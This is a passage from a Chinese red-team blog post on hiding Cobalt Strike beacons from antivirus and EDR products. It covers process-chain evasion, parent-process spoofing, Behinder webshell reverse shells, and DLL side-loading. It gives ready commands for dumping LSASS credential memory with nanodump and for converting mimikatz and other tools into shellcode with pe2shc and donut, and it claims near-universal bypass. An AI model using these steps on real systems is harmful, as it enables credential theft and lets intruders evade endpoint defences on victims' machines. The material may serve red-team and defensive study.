Content-Type: application/x-www-form-urlencoded
Cookie: CID=sobGzXzWBfSlSbdqnmkUbJMLEjhssRx1

执行命令也没问题,大部分杀毒本身就对这类流量混淆后的payload无能为力:

360之前还能过的,现在杀进程链了,就过不了了。

进程行为、进程链的监控

假如explorer.exe出现网络连接会被杀软持续跟踪,直到销毁我们的beacon,但是如果注入到浏览器,浏览器发起存在网络连接是在正常不过的事情;如果要调用cmd.exe那么从explorer.exe调用再正常不过了,但是浏览器进程启动cmd.exe则是非常可疑的,这就是进程链监控的基本原理。

为了绕过进程链的监控,通用的一般有两种方法,一种是进程注入到别的进程,另外一种是父进程欺骗;父进程欺骗这边我就不讲解原理了,先知已经有很多文章,我们直接用C2开箱即用的欺骗技术就好了,目前自带的技术生命力还是非常强的;如果上面两种都过不了,就得找WinCOM自行武器化,或者寻找入口进程本身的特性,这些都非常复杂,涉及知识面非常广泛,又是另外一个很大的话题了。

为了更好的解释,我本地搭建了tomcat模拟实战环境,可以看到,如果直接在冰蝎的命令执行,发现是无法执行敏感命令的,理由也很简单,java.exe这个进程本身就不太可能拉起cmd执行系统命令,会被杀软重点关注:

可以看到执行一般的命令还好,但是敏感命令直接就寄了“Cannot run program "cmd.exe": CreateProcess error=5, 拒绝访问。”意味着我们无法拉起这个进程:

虚拟终端,常常用于被删除cmd环境的情况,它也没办法绕过进程链的检测:

不过冰蝎有强大的反弹shell功能,可以一键打入各种C2的shellcode,上线各种后门,如果自己二改定义,这几乎绕过了所有杀软:

你也许会好奇它的反弹shell是怎么实现绕过的,实际上就是利用强大灵活的java的jni实现载入c编写的dll上线,由于java本身是白签名程序,加上本身打入的方式只会java内部新启动一个线程,这种强大的灵活的规避性质足以绕过所有杀软和EDR,这部分就留到后门再填坑了,不得不再次感慨一下rebeyond大神出神入化的境界。

DLL侧加载

DLL侧加载其实就是白+黑,对于更为严厉的杀软可以使用DLL侧加载,根据“EDR Evasion Primer For Red Teamers”研究,即使是现在,绝大多数的EDR依然难以查杀此类躲藏在合法签名内执行的恶意程序,而且这招即使是APT组织也会使用,足够见其生命力之强,可以参考我之前写的文章增强这类实现部分,我也找两个个微软Windows defender的签名的EXE上传到Github上帮助大家练习:

dump Lsass内存

dump lsass经过多年发展和对抗,已经派生出十几种攻击方法,深入理解牵扯出很多高级机制,非常难,好在我们也有武器化后的工具可以直接拿来用;今年早些使用还可以用SSP加载的方法绕过所有EDR,但是现在被SOC Team的同事上报废了(搞的我文章得重新写,恼),现在就拿火绒演示一下了(笑);

原始的mimikatz在火绒杀毒的情况下都dump不下来了,不过对付火绒只需要:

nanodump --fork --write C:\lsass.dmp

卡巴斯基的lssas保护非常变态,请看今年的dump内存的测试结果,15种不同的高级dump技术都无法绕过它的保护,对于企业级的对抗得上驱动强度了,后面有机会再分享吧:

通用工具的免杀方法

我们还想让注入技术发挥更强怎么办?有个魔法般的工具能吧所有PE文件转换为shellcode,只要注入技术ok,几乎立刻复活所有工具(0.0),只需要一行命令

pe2shc.exe <path to your PE> [output path*]

当然还有其他转换shellcode的工具donet,这个工具参数有点眼花缭乱,我这里给一条我最常用的:

donut.exe -i mimikatz.exe -o log.txt

如果要想要shellcode小一些可以启用压缩算法,-z 1是默认的,目前可用的就1234,5还是有bug:

需要注意,转换工具处理过的shellcode有查杀特征,我记得先知社区有师傅魔改过特征,非常适合持久运行的工具使用,之前记得有的,但是找了一下没找到,有师傅知道可以评论区留言;现在我们有很多方法可以获得任意EXE文件的shellcode,请别再烦恼静态免杀,专注动态对抗吧。

模拟真实环境测试

火绒6.0加入了内存查杀,我们也看看效果,演示视频地址

卡巴斯基的演示截图,演示视频地址

总结

本篇文章从Cobalt Strike的免杀切入,深入探讨了流量、内存、行为、沙箱等多种查杀角度的规避技术,虽然目前这些技术能规避绝大多数杀软,但是在顶尖对抗场景来说依然乏力,依然需要持续的学习和研究,欢迎师傅来关注我的博客,希望这篇文章能让师傅玩得愉快!

参考资料和工具:

https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_profile-language.htm
https://github.com/threatexpress/malleable-c2
https://www.youtube.com/watch?v=z8GIjk0rfbI&ab_channel=BsidesCymru
https://www.youtube.com/watch?v=-QRr_8pvOiY&ab_channel=DEFCONConference
https://github.com/fortra/nanodump/
https://en.wikipedia.org/wiki/Kernel_Patch_Protection
https://github.com/EgeBalci/sgn
https://github.com/hasherezade/pe_to_shellcode
https://anti-debug.checkpoint.com/
https://github.com/KomiMoe/Arkari
https://github.com/TheWover/donut
https://www.youtube.com/watch?v=CKfjLnEMfvI
https://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/
https://www.henry-blog.life/henry-blog/shellcode-jia-zai-qi/mo-kuai-cai-ta
https://0xdarkvortex.dev/hiding-in-plainsight/

5 条评论
某人
表情
可输入 255